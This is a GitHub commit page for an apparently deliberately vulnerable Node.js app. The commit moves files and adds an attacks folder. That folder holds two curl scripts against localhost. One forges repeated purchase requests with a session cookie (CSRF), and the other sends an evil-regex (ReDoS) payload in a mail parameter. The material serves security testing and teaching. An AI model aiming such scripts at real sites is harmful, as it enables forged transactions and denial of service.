Skip to content

Commit 8937dfb

Browse files
committed
change: restructured directory structure to aims to put package.json at root of project. The reason is because the major of NodeJS security products has this restriction for a correct analysis of sources.
Change: docker-compose to adapt to new structure. Add: New readme in attacks folder to explains what contain this folder.
1 parent e96c5d7 commit 8937dfb

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

45 files changed

+32
-2
lines changed
File renamed without changes.

web/app.js renamed to app.js

File renamed without changes.

attacks/README.md

Lines changed: 4 additions & 0 deletions

attacks/csrf/csrf.sh

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#!/usr/bin/env bash
2+
3+
# Put here your cookie session value, like:
4+
#COOKIE="Cookie: connect.sid=s%3AM9Ddp0pSbLOrBbgz9V6v2UhZMs1zTbTy.kS5d8QwFWge7FRH7KbveH2QLf6rAYvBft75nU6jgLzQ"
5+
COOKIE=""
6+
TARGET="http://127.0.0.1:3000"
7+
8+
for i in $(seq 10);
9+
do
10+
curl "$TARGET/products/[email protected]&address=aaa&ship_date=10/10/2016&phone=1111111&product_id=2&product_name=product%20name&username=admin&price=1" -H "$COOKIE";
11+
done

attacks/evil_regex/attack_1.sh

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#!/usr/bin/env bash
2+
3+
#
4+
# Evil regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
5+
# Insert point: /products/buy
6+
# Vulnerable parameter: mail
7+
#
8+
9+
# Put here your cookie session value, like:
10+
#COOKIE="Cookie: connect.sid=s%3AM9Ddp0pSbLOrBbgz9V6v2UhZMs1zTbTy.kS5d8QwFWge7FRH7KbveH2QLf6rAYvBft75nU6jgLzQ"
11+
COOKIE=""
12+
EVIL_REGEX="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
13+
TARGET="http://127.0.0.1:3000"
14+
15+
curl "$TARGET/products/buy?mail=$EVIL_REGEX&address=asdfasdf&ship_date=10/10/2016&phone=1111111&product_id=2&product_name=product%20name&username=admin&price=1" -H "$COOKIE"
File renamed without changes.
File renamed without changes.

docker-compose.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ version: '2'
22
services:
33
vulnerable_node:
44
restart: always
5-
build: ./web
5+
build: .
66
ports:
77
- "3000:3000"
88
# links:
@@ -14,4 +14,4 @@ services:
1414
restart: always
1515
build: ./services/postgresql
1616
ports:
17-
- "5432:5432"
17+
- "5432:5432"
File renamed without changes.
File renamed without changes.

0 commit comments

Comments
 (0)